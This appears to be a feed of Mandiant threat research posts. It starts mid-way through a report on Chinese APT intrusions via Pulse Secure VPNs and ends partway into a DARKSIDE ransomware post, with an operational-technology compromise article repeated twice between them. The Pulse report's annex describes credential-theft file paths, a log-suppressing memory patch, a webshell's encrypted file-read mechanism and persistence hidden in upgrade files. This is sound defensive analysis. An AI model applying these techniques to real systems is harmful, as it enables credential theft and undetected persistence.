Most lateral movement originated from compromised Pulse Secure VPN appliances to internal systems within the environment.  While connected to the Pulse VPN appliance, the actor’s system was assigned an IP address from the Pulse VPN DHCP pool and they moved laterally throughout the environments by leveraging the Remote Desktop Protocol (RDP), the Secure Shell Protocol (SSH), and browser-based communication to HTTPS hosted resources. The actors also accessed other resources such as Microsoft M365 cloud environments using stolen credentials they had previously acquired.

Mandiant also observed the actors targeting ESXi host servers. The actor enabled SSH on ESXi hosts that were previously disabled via the web interface. When their operations on the system were finished, the actors disabled SSH on the ESXi host again and cleared or preemptively disabled all relevant logging associated with the performed activities. This includes authentication, command history, and message logging on the system.

Maintain Presence

Mandiant observed the threat actor maintain persistence by compromising the upgrade process on the Pulse Secure Appliance.  Persistence was primarily achieved by modifying the legitimate DSUpgrade.pm file to install the ATRIUM webshell across each upgrade performed by an administrator.  The actor likely chose DSUpgade.pm to host their patch logic as it is a core file in the system upgrade procedure, ensuring the patch is applied during updates. The patcher modifies content in /tmp/data as this directory holds the extracted upgrade image the newly upgraded system will boot into. This results in a persistence mechanism which allows the actor to maintain access to the system across updates.

The actors also achieved persistence in other cases by prepending a bash script to the file /bin/umount normally used to unmount a Linux filesystem. This binary was targeted by the actor because it is executed by the Pulse Secure appliance during a system upgrade. The actor’s script verifies that the umount binary executes with a specific set of arguments, which are identical to the arguments used by the Pulse Secure appliance to executes the binary. The inserted malicious bash script remounts the filesystem as read-write and iterates through a series of bash routines to inject the ATRIUM webshell, hide SLOWPULSE from a legacy file integrity bash script, remove or add itself from the umount file, and validate the web process was running after a reboot to return the filesystem back to read-only.

Complete Mission

The threat actor’s objectives appear to be stealing credentials, maintaining long-term persistent access to victim networks, and accessing or exfiltrating sensitive data. Mandiant has observed the attackers:

  • Staging data related to sensitive projects, often in C:\Users\Public
  • Naming exfiltration archives to resemble Windows Updates (KB) or to match the format KB<digits>.zip
  • Using the JAR/ZIP file format for data exfiltration
  • Deleting exfiltrated archives

Analysis of new malware families is included in the Technical Annex to enable defenders to quickly assess if their respective appliances have been affected. Relevant MITRE ATT&CK techniques, Yara rules and hashes are published on Mandiant’s GitHub page.

Forensics, Remediation, and Hardening Guidelines

To begin an investigation, Pulse Secure users should contact their Customer Support Representative for assistance completing the following steps:

  1. Capture memory and a forensic image of the appliance
  2. Run the Pulse Integrity Checker Tool found online
  3. Request a decrypted image of each partition and a memory dump

To remediate a compromised Pulse Secure appliance:  

  1. Caution must be taken when determining if a Pulse Secure device was compromised at any previous date. If the Integrity Checker Tool (ICT) was not run before the appliance was updated, the only evidence of compromise will exist in the system rollback partition which cannot be scanned by the ICT. If an upgrade was performed without first using the ICT, a manual inspection of the rollback partition is required to determine if the device was previously compromised.
  2. To ensure that no malicious logic is copied to a clean device, users must perform upgrades from the appliance console rather than the web interface. The console upgrade process follows a separate code path that will not execute files such as DSUpgrade.pm.
  3. Previous versions of the ICT will exit if run on an unsupported software version. For every ICT scan, ensure that the ICT would have supported the device's version number.
  4. Reset all passwords in the environment.
  5. Upgrade to the most recent software version.

To secure the appliance and assist with future investigations, consider implementing the following:

  1. Enable unauthenticated logging and configure syslog for Events, User & Admin Access
  2. Forward all logs to a central log repository
  3. Review logs for unusual authentications and evidence of exploitation
  4. Regularly run the Integrity Checker Tool
  5. Apply patches as soon as they are made available

Geopolitical Context and Implications for U.S.-China Relations

In collaboration with intelligence analysts at BAE Systems Applied Intelligence, Mandiant has identified dozens of organizations across the defense, government, telecommunications, high tech, education, transportation, and financial sectors in the U.S. and Europe that have been compromised via vulnerabilities in Pulse Secure VPNs. Historic Mandiant and BAE investigations identified a significant number of these organizations as previous APT5 targets.

Notably, compromised organizations operate in verticals and industries aligned with Beijing’s strategic objectives as outlined in China’s 14th Five Year Plan. Many manufacturers also compete with Chinese businesses in the high tech, green energy, and telecommunications sectors. Despite this, we have not directly observed the staging or exfiltration of any data by Chinese espionage actors that could be considered a violation of the Obama-Xi agreement.

Targets of Chinese cyber espionage operations are often selected for their alignment with national strategic goals, and there is a strong correlation between pillar industries listed in policy white papers and targets of Chinese cyber espionage activity.

China has outlined eight key areas of vital economic interest for development and production which it views as essential to maintaining global competitiveness, under the following categories: energy, healthcare, railway transportation, telecommunications, national defense and stability, advanced manufacturing, network power, and sports and culture.

Historical Context

In the Red Line Drawn report, Mandiant documented a significant decline in the volume of Chinese cyberespionage activity in 2014 and assessed that the restructuring of China's military and civilian intelligence agencies significantly impacted Chinese cyber operations. Then, in September 2015, President Xi of China concluded a bilateral agreement with U.S. President Obama to prohibit state-sponsored theft of intellectual property for the purpose of providing commercial advantage. Commercial IP theft has historically been a prominent characteristic of Chinese cyber espionage activity.

In 2018 we conducted an extensive review of Chinese cyber espionage operations, both before and after the official announcement of the PLA reforms and bilateral agreement to determine if there were any corresponding changes in the tactics, techniques, and procedures (TTPs) used during Chinese cyberespionage operations. We observed two important changes in the type of information stolen and the geographic distribution of the targets.

  • Despite examining hundreds of incidents from January 2016 through mid 2019, we did not find definitive evidence of purely commercial application intellectual property theft in the US. Recent indictments by the US Department of Justice suggest that this theft did occur. While we observed other malicious activity, including geopolitical targeting, theft of intellectual property with military applications, and theft of confidential business information, we did not find evidence that these cyber operations violated the Obama-Xi agreement.
  • Between January 2016 and mid-2019, the geographic focus of Chinese cyber operations shifted dramatically to Asia and away from the U.S. and Europe. While the U.S. remained the single most frequently targeted country, it became a much smaller percentage of observed activity. From 2012–2015, U.S. targeting constituted nearly 70 percent of all observed Chinese cyber espionage, while from January 2016 through August 2019, U.S. targeting fell to approximately 20 percent of Chinese activity. Targeting of Europe represented a similar proportion of overall Chinese activity to targeting of the Americas.

Changes in Chinese Espionage Activity between 2019 and 2021

Based on developments observed between 2019-2021, Mandiant Threat Intelligence assesses that most Chinese APT actors now concentrate on lower-volume but more-sophisticated, stealthier operations collecting strategic intelligence to support Chinese strategic political, military, and economic goals. While some of the technical changes may be the result of the restructuring of China's military and civilian organizations, some changes possibly reflect larger technical trends in cyber operations overall.

  • Before the reorganization, it was common to observe multiple Chinese espionage groups targeting the same organization, often targeting the same types of information. Post-2015, this duplication of efforts is rare.
  • Chinese espionage groups developed more efficient and purposeful targeting patterns by transitioning away from spearphishing and relying on end user software vulnerabilities and instead began exploiting networking devices and web facing applications in novel ways. Chinese APT actors also began to leverage supply chain vulnerabilities and to target third party providers to gain access to primary targets.
  • Recently observed Chinese cyber espionage activity exhibits an increased diligence in operational security, familiarity with network defender investigation techniques, and cognizance of the forensic evidence they leave behind.
  • We observe the resurgence of older Chinese espionage groups, including APT4 and APT5 after long periods of dormancy and currently active groups engage in frequent and widespread campaigns.

Redline Withdrawn?

The Obama-Xi agreement prohibits the theft of intellectual property with purely commercial applications for the purpose of gaining a competitive advantage. It does not cover government or diplomatic information, sensitive business communications, IT data, PII, or intellectual property with military or dual use applications.

  • We have direct evidence of UNC2630, UNC2717 and other Chinese APT actors stealing credentials, email communications, and intellectual property with dual commercial and military applications.
  • Throughout our investigations, we did not directly observe the staging or exfiltration of any data by Chinese espionage actors that could be considered a violation of the Obama-Xi agreement.

Given the narrow definition of commercial intellectual property theft and the limited availability of forensic evidence, it is possible that our assessment will change with the discovery of new information.

Evidence collected by Mandiant over the past decade suggests that norms and diplomatic agreements do not significantly limit China's use of its cyber threat capabilities, particularly when serving high-priority missions.

The greater ambition and risk tolerance demonstrated by Chinese policymakers since 2019 indicates that the tempo of Chinese state-sponsored activity may increase in the near future and that the Chinese cyber threat apparatus presents a renewed and serious threat to US and European commercial entities.

Acknowledgements

Mandiant would like to thank analysts at BAE Systems Applied Intelligence, Stroz Friedberg, and Pulse Secure for their hard work, collaboration and partnership. The team would also like to thank Scott Henderson, Kelli Vanderlee, Jacqueline O'Leary, Michelle Cantos, and all the analysts who worked on Mandiant’s Red Line Redrawn project. The team would also like to thank Mike Dockry, Josh Villanueva, Keith Knapp, and all the incident responders who worked on these engagements.

Additional Resources

Detecting the Techniques

The following table contains specific FireEye product detection names for the malware families associated with this updated information.

Platform(s)

Detection Name

Network Security

Email Security

Detection On Demand

Malware File Scanning

Malware File Storage Scanning

  • FE_APT_Tool_Linux32_BLOODMINE_1
  • FE_APT_Tool_Linux_BLOODMINE_1
  • FE_APT_Tool_Linux32_BLOODBANK_1
  • FE_APT_Tool_Linux_BLOODBANK_1
  • FE_APT_Tool_Linux32_CLEANPULSE_1
  • FE_APT_Tool_Linux_CLEANPULSE_1
  • FE_APT_Webshell_PL_RAPIDPULSE_1
  • FEC_APT_Webshell_PL_RAPIDPULSE_1

Endpoint Security

Real-Time Detection (IOC)

  • BLOODBANK (UTILITY)
  • BLOODMINE (UTILITY)

Helix

Establish Foothold

  • WINDOWS METHODOLOGY [User Account Created]
  • WINDOWS METHODOLOGY [User Created - Net Command]

Escalate Privileges

  • WINDOWS METHODOLOGY [Mimikatz Args]
  • WINDOWS METHODOLOGY [Invoke-Mimikatz Powershell Artifacts]
  • WINDOWS METHODOLOGY [LSASS Memory Access]
  • WINDOWS METHODOLOGY [LSASS Generic Dump Activity]

Internal Reconnaissance

  • WINDOWS ANALYTICS [Recon Commands]

Move Laterally

  • WINDOWS ANALYTICS [Abnormal RDP Logon]
  • OFFICE 365 ANALYTICS [Abnormal Logon]

Technical Annex

BLOODMINE

BLOODMINE is a utility for parsing Pulse Secure Connect log files. It extracts information related to logins, Message IDs and Web Requests and copies the relevant data to another file.

The sample takes three command line arguments

  1. Filename to read
  2. Filename to write
  3. Timeout interval

It parses the input file for login status codes:

AUT31504

AUT24414

AUT22673

AUT22886

AUT23574

It parses the input file for web results code WEB20174. If it finds a web result code, it looks for file extensions:

.css

.jpg

.png

.gif

.ico

.js

.jsp

These strings indicate the type of data that is collected from web requests:

Web login, IP: %s, User: %s, Realm: %s, Roles: %s, Browser: %s

Agent login, IP: %s, User: %s, Realm: %s, Roles: %s, Client: %s

Logout, IP: %s, User: %s, Realm: %s, Roles: %s

Session end, IP: %s, User: %s, Realm: %s, Roles: %s

New session, IP: %s, User: %s, Realm: %s, Roles: %s, New IP: %s

Host check, Policy: %s

WebRequest completed, IP: %s, User: %s, Realm: %s, Roles: %s, %s to %s://%s:%s/%s from %s

BLOODBANK

BLOODBANK is a credential theft utility that parses two LMDB (an in memory database) files and expects an output file to be given at the command prompt. BLOODBANK takes advantage of a legitimate process that supports Single Sign On functionality and looks for plaintext passwords when they are briefly loaded in memory.

The utility parses the following two files containing password hashes or plaintext passwords:

  • /home/runtime/mtmp/lmdb/data0/data.mdb
  • /home/runtime/mtmp/system

BLOODBANK expects an output file as a command line parameter, otherwise it prints file open error. It contains the following strings which it likely tries to extract and target.

PRIMARY

SECONDARY

remoteaddr

[email protected]

logicUR

logicTim

[email protected]

userAge

realm

Sourc

CLEANPULSE

CLEANPULSE is a memory patching utility that may be used to prevent certain log events from occurring. The utility inserts two strings from the command line into the target process and patches code to conditionally circumvent a function call in the original executable.

File Name

File Type

Size

Compile Time

dsrlog

ELF.X86

13332

 

The utility expects to be run from the command line as follows:

drslog <pid> <code2_string> <code3_string> <command>

Where <pid> is the pid process ID to patch in memory, <code2_string> and <code3_string> are two strings to write into the target process, and <command> is either 'e' or 'E' for installation or 'u' or 'U' for uninstallation.

During installation (using the 'e' or 'E' <command>), the <code2_string> <code3_string> command line strings are written to the target process at hard-coded memory addresses, a small amount of code is written, and a jump instruction to the code snippet is patched in memory of the target process. The added code checks whether an argument is equal to either <code2_string> <code3_string> strings, and if, so skips a function call in the target process.

During uninstall (using the 'u' or 'U' <command>) the patch jump location is overwritten with what appears to be the original 8 bytes of instructions, and the two additional memory buffers and the code snippet appear to be overwritten with zeros.

The CLEANPULSE utility is highly specific to a victim environment. It does not contain any validation code when patching (i.e. verifying that code is expected prior to modifying it), and it contains hard-coded addresses to patch.

The target code to patch appears to be the byte sequence: 89 4C 24 08 FF 52 04. This appears as the last bytes in the patched code, and is the 8-bytes written when the uninstall 'u' command is given.

These bytes correspond to the following two instructions:

.data:0804B138 89 4C 24 08                 mov     [esp+8], ecx

.data:0804B13C FF 52 04                       call    dword ptr [edx+4]

This byte sequence occurs at the hard-coded patch address the utility expects, dslogserver. Based on status and error messages in nearby functions the executable dslogserver appears to be related to log event handling, and the purpose of the CLEANPULSE utility may be to prevent certain events from being logged.

There are several un-referenced functions that appear to have been taken from the open source project PUPYRAT. It is likely that the actor re-purposed this open source code, using PUPYRAT as a simple template project.

RAPIDPULSE

RAPIDPULSE is a webshell capable of arbitrary file read. As is common with other webshells, RAPIDPULSE exists as a modification to a legitimate Pulse Secure file.

The webshell modifies the legitimate file's main routine which compares the HTTP query parameter with key name: deviceid to a specific  key with value. If the parameter matches, then the sample uses an RC4 key  to decrypt HTTP query parameter with key name: hmacTime. This decrypted value is a filename which the sample then opens, reads, RC4 encrypts with the same key, base64 encodes, then writes to stdout. The appliance redirects stdout as the response to HTTP requests. This serves as an encrypted file download for the attacker.

Integrity Checker Tool and Other Validation Checks

In our public report, we noted two code families that manipulate check_integrity.sh, a legitimate script used during a normal system upgrade. This validation script was modified by the actor to exit early so that it would not perform the intended checks.

Per Ivanti, the validation provided by check_integrity.sh is a separate validation feature and not the same as the Integrity Checker Tool (ICT) available on their website. They recommend that organizations use the online ICT to confirm that hashes of files on their Pulse Secure devices match Ivanti’s list of known good hashes. Please note that the ICT does not scan the rollback partition.

☑ ☆ ✇ Threat Research

Crimes of Opportunity: Increasing Frequency of Low Sophistication Operational Technology Compromises

By: Keith Lunden

Attacks on control processes supported by operational technology (OT) are often perceived as necessarily complex. This is because disrupting or modifying a control process to cause a predictable effect is often quite difficult and can require a lot of time and resources. However, Mandiant Threat Intelligence has observed simpler attacks, where actors with varying levels of skill and resources use common IT tools and techniques to gain access to and interact with exposed OT systems.

The activity is typically not sophisticated and is normally not targeted against specific organizations. Rather, the compromises appear to be driven by threat actors who are motivated to achieve ideological, egotistical, or financial objectives by taking advantage of an ample supply of internet-connected OT systems. As the actors are not interested in causing specific physical outcomes, they target whatever is available on the internet.

Mandiant has observed an increase in compromises of internet-accessible OT assets over the past several years. In this blog post we discuss previously undisclosed compromises and place them in context alongside publicly known incidents. Although none of these incidents have appeared to significantly impact the physical world, their increasing frequency and relative severity calls for analysis on their possible risks and implications.

Visit our website to learn more about Mandiant’s OT security practice or contact us directly to request Mandiant services or threat intelligence.

Compromises of Internet-Exposed OT Are Increasing in Frequency

While Mandiant has monitored threat actors claiming to share or sell access to internet-exposed OT systems since at least 2012, we have seen a significant increase in the frequency and relative severity of incidents in the past few years. The most common activity we observe involves actors trying to make money off exposed OT systems, but we also see actors simply sharing knowledge and expertise. More recently, we have observed more low sophistication threat activity leveraging broadly known tactics, techniques, and procedures (TTPs), and commodity tools to access, interact with, or gather information from internet exposed assets—something we had seen very little of in the past.

This low sophistication threat activity has impacted a variety of targets across different industries, ranging from solar energy panels and water control systems, to building automation systems (BAS) and home security systems in academic and private residences. While some critical infrastructure targets are very sensitive in nature, other targets present very little risk.

The following timeline presents a selection of some public and previously undisclosed OT compromises Mandiant observed between 2020 and early 2021. We note that, although it is possible many of these incidents involved process interaction, high confidence validation is not feasible as most often the evidence is provided by the actor itself.


Figure 1: Selection of notable low sophistication OT compromises: January 2020 to April 2021

Low Sophistication OT Threat Activity Can Take Many Forms

A consistent characteristic we observe among low sophisticated compromises is that actors most often exploit unsecure remote access services, such as virtual network computing (VNC) connections, to remotely access the compromised control systems. Graphical user interfaces (GUI), such as human machine interfaces (HMI), become the low-hanging fruit of process-oriented OT attacks as they provide a user-friendly representation of complex industrial processes, which enables actors to modify control variables without prior knowledge of a process. In many cases, the actors showed evidence of compromised control processes via images of GUIs, IP addresses, system timestamps, and videos.

Low Sophistication Threat Actors Access HMIs and Manipulate Control Processes

In March 2020, we analyzed a series of screenshots shared by a threat actor who claimed to compromise dozens of control systems across North America, Western and Central Europe, and East Asia. Based on the timestamps from the images, the actor appeared to gain unauthorized access to these assets over a five-day period. The actor also shared a low-quality cell phone video showing their explicit interaction with a Dutch-language temperature control system.

While much of this type of activity appears opportunistic in nature, some may also be driven by political motivations. For example, we have seen hacktivist groups that frequently use anti-Israel/pro-Palestine rhetoric in social media posts share images indicating that they had compromised OT assets in Israel, including a solar energy asset and the webserver of a datalogger used for different applications such as mining exploration and dam surveillance (Figure 2).


Figure 2: Screenshots of compromised web-interfaces supporting OT

Some threat actors appear particularly eager to demonstrate their interaction with compromised control systems. One threat actor shared multiple screen recordings making arbitrary set point changes to compromised HMIs via remote connections from their own desktop. While we suspect many of the victims compromised by this threat actor were small- and medium-sized businesses, on one occasion the group appeared to have successfully accessed the BAS of a hotel in Australia belonging to a major international hotel chain (Figure 3).


Figure 3: Screenshots showing a possible compromise of a hotel BAS

Some Amateur Actors Show Limited OT Expertise

Some of the actors we track made comments that indicated they had either a limited understanding of the OT assets they compromised or that they were simply attempting to gain notoriety. For example, one threat actor shared a screenshot of a purportedly compromised German-language rail control system. We conducted a reverse image search of the screenshot and identified the asset as the web interface for an ECoS 50210 command station designed for model train sets (Figure 4).


Figure 4: “Rail control system” that was really a web-interface for a model train set

Another group made a similar gaffe when they claimed to retaliate for an explosion at a missile facility in Iran by compromising an Israeli “gas system.” A video of their operation showed that they had actually compromised a kitchen ventilation system installed at a restaurant in Ramat Hasharon, Israel (Figure 5).


Figure 5: “Gas system” that was really a kitchen ventilation system

Low Sophistication OT Threat Activity is Supported by Hacktivist Tutorials

In a few instances, actors operating as part of hacktivist collectives created and shared tutorials that instructed their affiliates and sympathetic parties on how to identify and compromise internet-accessible OT assets. The tutorials typically described simple methodologies, such as using VNC utilities to connect to IP addresses identified in Shodan or Censys searches for port 5900. These methods appear to have been used in some of the incidents we described, as some of the shared screenshots of compromised OT systems also showed the actor’s web browser tabs displaying similar Shodan queries and remote access tools.


Figure 6: Hacktivist tutorial describing how to access the HMI of an industrial gas and liquid burner

Low Sophistication OT Compromises Pose A Growing Risk

Each of the low sophistication incidents we observe is unique and poses a different level of risk, which we normally determine by examining the actor’s previous work and reputation, the target’s industry, and the nature of the compromised process, among other things. While low sophistication incidents do not appear to commonly impact physical environments, they remain concerning for the following reasons.

  • Each incident provides threat actors with opportunities to learn more about OT, such as the underlying technology, physical processes, and operations. These opportunities can increase an adversary's ability and enhance their tradecraft.
  • Even low-sophistication intrusions into OT environments carry the risk of disruption to physical processes, mainly in the case of industries or organizations with less mature security practices. As the number of intrusions increase, so does the risk of process disruption.
  • The publicity of these incidents normalizes cyber operations against OT and may encourage other threat actors to increasingly target or impact these systems. This is consistent with the increase in OT activity by more resourced financially-motivated groups and ransomware operators.

Security Best Practices and Situational Awareness Help Prevent Low Sophistication Compromises

Defense against low sophistication compromises is best addressed by implementing security best practices and gaining situational awareness about the threat exposure of assets and data. Implementing security controls to defend against this activity is also the foundation for mature security programs that seek to prevent and identify complex OT threats before they introduce a risk to the safety of people and infrastructure.

  • Whenever feasible, remove OT assets from public-facing networks. If remote access is required, deploy access controls and monitor traffic for unusual activity to minimize unintended interaction and safeguard asset information.
  • Apply common network-hardening techniques to remotely accessible and edge devices, such as disabling unused services, changing default credentials, reviewing asset configurations, and creating whitelists for access.
  • Determine if relevant assets are discoverable using online scanners such as Shodan and Censys. Leverage support from knowledgeable security researchers to identify exposed assets and leaked information. Mandiant Threat Intelligence offers subscription content, custom analysis, and black box assessments that help organizations identify internet-exposed assets and information.
  • Maintain situational awareness on threat actors’ interest in cyber physical systems and the development of OT exploits, with particular interest in attention driven to your organization, third party providers, or original equipment manufacturers (OEM).
  • Configure HMIs and other control system assets to enforce acceptable input ranges and prohibit hazardous variable states. Similar to web application security, automation programmers should treat all operator input as potentially malicious and gain security assurances by validating that the operator input is within acceptable thresholds.

Visit our website to learn more about Mandiant’s OT security practice or contact us directly to request Mandiant services or threat intelligence.

☑ ☆ ✇ Threat Research

Crimes of Opportunity: Increasing Frequency of Low Sophistication Operational Technology Compromises

By: Keith Lunden

Attacks on control processes supported by operational technology (OT) are often perceived as necessarily complex. This is because disrupting or modifying a control process to cause a predictable effect is often quite difficult and can require a lot of time and resources. However, Mandiant Threat Intelligence has observed simpler attacks, where actors with varying levels of skill and resources use common IT tools and techniques to gain access to and interact with exposed OT systems.

The activity is typically not sophisticated and is normally not targeted against specific organizations. Rather, the compromises appear to be driven by threat actors who are motivated to achieve ideological, egotistical, or financial objectives by taking advantage of an ample supply of internet-connected OT systems. As the actors are not interested in causing specific physical outcomes, they target whatever is available on the internet.

Mandiant has observed an increase in compromises of internet-accessible OT assets over the past several years. In this blog post we discuss previously undisclosed compromises and place them in context alongside publicly known incidents. Although none of these incidents have appeared to significantly impact the physical world, their increasing frequency and relative severity calls for analysis on their possible risks and implications.

Visit our website to learn more about Mandiant’s OT security practice or contact us directly to request Mandiant services or threat intelligence.

Compromises of Internet-Exposed OT Are Increasing in Frequency

While Mandiant has monitored threat actors claiming to share or sell access to internet-exposed OT systems since at least 2012, we have seen a significant increase in the frequency and relative severity of incidents in the past few years. The most common activity we observe involves actors trying to make money off exposed OT systems, but we also see actors simply sharing knowledge and expertise. More recently, we have observed more low sophistication threat activity leveraging broadly known tactics, techniques, and procedures (TTPs), and commodity tools to access, interact with, or gather information from internet exposed assets—something we had seen very little of in the past.

This low sophistication threat activity has impacted a variety of targets across different industries, ranging from solar energy panels and water control systems, to building automation systems (BAS) and home security systems in academic and private residences. While some critical infrastructure targets are very sensitive in nature, other targets present very little risk.

The following timeline presents a selection of some public and previously undisclosed OT compromises Mandiant observed between 2020 and early 2021. We note that, although it is possible many of these incidents involved process interaction, high confidence validation is not feasible as most often the evidence is provided by the actor itself.


Figure 1: Selection of notable low sophistication OT compromises: January 2020 to April 2021

Low Sophistication OT Threat Activity Can Take Many Forms

A consistent characteristic we observe among low sophisticated compromises is that actors most often exploit unsecure remote access services, such as virtual network computing (VNC) connections, to remotely access the compromised control systems. Graphical user interfaces (GUI), such as human machine interfaces (HMI), become the low-hanging fruit of process-oriented OT attacks as they provide a user-friendly representation of complex industrial processes, which enables actors to modify control variables without prior knowledge of a process. In many cases, the actors showed evidence of compromised control processes via images of GUIs, IP addresses, system timestamps, and videos.

Low Sophistication Threat Actors Access HMIs and Manipulate Control Processes

In March 2020, we analyzed a series of screenshots shared by a threat actor who claimed to compromise dozens of control systems across North America, Western and Central Europe, and East Asia. Based on the timestamps from the images, the actor appeared to gain unauthorized access to these assets over a five-day period. The actor also shared a low-quality cell phone video showing their explicit interaction with a Dutch-language temperature control system.

While much of this type of activity appears opportunistic in nature, some may also be driven by political motivations. For example, we have seen hacktivist groups that frequently use anti-Israel/pro-Palestine rhetoric in social media posts share images indicating that they had compromised OT assets in Israel, including a solar energy asset and the webserver of a datalogger used for different applications such as mining exploration and dam surveillance (Figure 2).


Figure 2: Screenshots of compromised web-interfaces supporting OT

Some threat actors appear particularly eager to demonstrate their interaction with compromised control systems. One threat actor shared multiple screen recordings making arbitrary set point changes to compromised HMIs via remote connections from their own desktop. While we suspect many of the victims compromised by this threat actor were small- and medium-sized businesses, on one occasion the group appeared to have successfully accessed the BAS of a hotel in Australia belonging to a major international hotel chain (Figure 3).


Figure 3: Screenshots showing a possible compromise of a hotel BAS

Some Amateur Actors Show Limited OT Expertise

Some of the actors we track made comments that indicated they had either a limited understanding of the OT assets they compromised or that they were simply attempting to gain notoriety. For example, one threat actor shared a screenshot of a purportedly compromised German-language rail control system. We conducted a reverse image search of the screenshot and identified the asset as the web interface for an ECoS 50210 command station designed for model train sets (Figure 4).


Figure 4: “Rail control system” that was really a web-interface for a model train set

Another group made a similar gaffe when they claimed to retaliate for an explosion at a missile facility in Iran by compromising an Israeli “gas system.” A video of their operation showed that they had actually compromised a kitchen ventilation system installed at a restaurant in Ramat Hasharon, Israel (Figure 5).


Figure 5: “Gas system” that was really a kitchen ventilation system

Low Sophistication OT Threat Activity is Supported by Hacktivist Tutorials

In a few instances, actors operating as part of hacktivist collectives created and shared tutorials that instructed their affiliates and sympathetic parties on how to identify and compromise internet-accessible OT assets. The tutorials typically described simple methodologies, such as using VNC utilities to connect to IP addresses identified in Shodan or Censys searches for port 5900. These methods appear to have been used in some of the incidents we described, as some of the shared screenshots of compromised OT systems also showed the actor’s web browser tabs displaying similar Shodan queries and remote access tools.


Figure 6: Hacktivist tutorial describing how to access the HMI of an industrial gas and liquid burner

Low Sophistication OT Compromises Pose A Growing Risk

Each of the low sophistication incidents we observe is unique and poses a different level of risk, which we normally determine by examining the actor’s previous work and reputation, the target’s industry, and the nature of the compromised process, among other things. While low sophistication incidents do not appear to commonly impact physical environments, they remain concerning for the following reasons.

  • Each incident provides threat actors with opportunities to learn more about OT, such as the underlying technology, physical processes, and operations. These opportunities can increase an adversary's ability and enhance their tradecraft.
  • Even low-sophistication intrusions into OT environments carry the risk of disruption to physical processes, mainly in the case of industries or organizations with less mature security practices. As the number of intrusions increase, so does the risk of process disruption.
  • The publicity of these incidents normalizes cyber operations against OT and may encourage other threat actors to increasingly target or impact these systems. This is consistent with the increase in OT activity by more resourced financially-motivated groups and ransomware operators.

Security Best Practices and Situational Awareness Help Prevent Low Sophistication Compromises

Defense against low sophistication compromises is best addressed by implementing security best practices and gaining situational awareness about the threat exposure of assets and data. Implementing security controls to defend against this activity is also the foundation for mature security programs that seek to prevent and identify complex OT threats before they introduce a risk to the safety of people and infrastructure.

  • Whenever feasible, remove OT assets from public-facing networks. If remote access is required, deploy access controls and monitor traffic for unusual activity to minimize unintended interaction and safeguard asset information.
  • Apply common network-hardening techniques to remotely accessible and edge devices, such as disabling unused services, changing default credentials, reviewing asset configurations, and creating whitelists for access.
  • Determine if relevant assets are discoverable using online scanners such as Shodan and Censys. Leverage support from knowledgeable security researchers to identify exposed assets and leaked information. Mandiant Threat Intelligence offers subscription content, custom analysis, and black box assessments that help organizations identify internet-exposed assets and information.
  • Maintain situational awareness on threat actors’ interest in cyber physical systems and the development of OT exploits, with particular interest in attention driven to your organization, third party providers, or original equipment manufacturers (OEM).
  • Configure HMIs and other control system assets to enforce acceptable input ranges and prohibit hazardous variable states. Similar to web application security, automation programmers should treat all operator input as potentially malicious and gain security assurances by validating that the operator input is within acceptable thresholds.

Visit our website to learn more about Mandiant’s OT security practice or contact us directly to request Mandiant services or threat intelligence.

☑ ☆ ✇ Threat Research

Shining a Light on DARKSIDE Ransomware Operations

By: Jordan Nuce

Update (May 14): Mandiant has observed multiple actors cite a May 13 announcement that appeared to be shared with DARKSIDE RaaS affiliates by the operators of the service. This announcement stated that they lost access to their infrastructure, including their blog, payment, and CDN servers, and would be closing their service. Decrypters would also be provided for companies who have not paid, possibly to their affiliates to distribute. The post cited law enforcement pressure and pressure from the United States for this decision. We have not independently validated these claims and there is some speculation by other actors that this could be an exit scam.

Background

Since initially surfacing in August 2020, the creators of DARKSIDE ransomware and their affiliates have launched a global crime spree affecting organizations in more than 15 countries and multiple industry verticals. Like many of their peers, these actors conduct multifaceted extortion where data is both exfiltrated and encrypted in place, allowing them to demand payment for unlocking and the non-release of stolen data to exert more pressure on victims.

The origins of these incidents are not monolithic. DARKSIDE ransomware operates as a ransomware-as-a-service (RaaS) wherein profit is shared between its owners and partners, or affiliates, who provide access to organizations and deploy the ransomware. Mandiant currently tracks multiple threat clusters that have deployed this ransomware, which is consistent with multiple affiliates using DARKSIDE. These clusters demonstrated varying levels of technical sophistication throughout intrusions. While the threat actors commonly relied on commercially available and legitimate tools to facilitate various stages of their operations, at least one of the threat clusters also employed a now patched zero-day vulnerability.

Reporting on DARKSIDE has been available in advance of this blog post to users of Mandiant Advantage Free, a no-cost version of our threat intelligence platform.

Targeting

Mandiant has identified multiple DARKSIDE victims through our incident response engagements and from reports on the DARKSIDE blog. Most of the victim organizations were based in the United States and span across multiple sectors, including financial services, legal, manufacturing, professional services, retail, and technology. The number of publicly named victims on the DARKSIDE blog has increased overall since August 2020, with the exception of a significant dip in the number of victims named during January 2021 (Figure 1). It is plausible that the decline in January was due to threat actors using DARKSIDE taking a break during the holiday season. The overall growth in the number of victims demonstrates the increasing use of the DARKSIDE ransomware by multiple affiliates.


Figure 1: Known DARKSIDE victims (August 2020 to April 2021)

DARKSIDE Ransomware Service

Beginning in November 2020, the Russian-speaking actor "darksupp" advertised DARKSIDE RaaS on the Russian-language forums exploit.in and xss.is. In April 2021, darksupp posted an update for the "Darkside 2.0" RaaS that included several new features and a description of the types of partners and services they were currently seeking (Table 1). Affiliates retain a percentage of the ransom fee from each victim. Based on forum advertisements, the RaaS operators take 25% for ransom fees less than $500,000, but this decreases to 10 percent for ransom fees greater than $5 million.

In addition to providing builds of DARKSIDE ransomware, the operators of this service also maintain a blog accessible via TOR. The actors use this site to publicize victims in an attempt to pressure these organizations into paying for the non-release of stolen data. A recent update to their underground forum advertisement also indicates that actors may attempt to DDoS victim organizations. The actor darksupp has stated that affiliates are prohibited from targeting hospitals, schools, universities, non-profit organizations, and public sector entities. This may be an effort by the actor(s) to deter law enforcement action, since targeting of these sectors may invite additional scrutiny. Affiliates are also prohibited from targeting organizations in Commonwealth of Independent States (CIS) nations.

Advertisement Date/Version

Feature/Update

Related Reporting

Nov. 10, 2020 (V1)

 

Ability to generate builds for both Windows and Linux environments from within the administration panel. 

20-00023273

Encrypts files using Salsa20 encryption along with an RSA-1024 public key

Access to an administrative panel via TOR that can be used by clients to manage Darkside builds, payments, blog posts, and communication with victims

The admin panel includes a Blog section that allows clients to publish victim information and announcements to the Darkside website for the purposes of shaming victims and coercing them to pay ransom demands

April 14, 2021 (V2.0)

 

Automated test decryption. The process from encryption to withdrawal of money is automated and no longer relies on support.

21-00008435

Available DDoS of targets (Layer 3, Layer 7)

Sought a partner to provide network accesses to them and a person or team with pentesting skills

Table 1: Notable features and updates listed on DARKSIDE advertisement thread (exploit.in)

DARKSIDE Affiliates

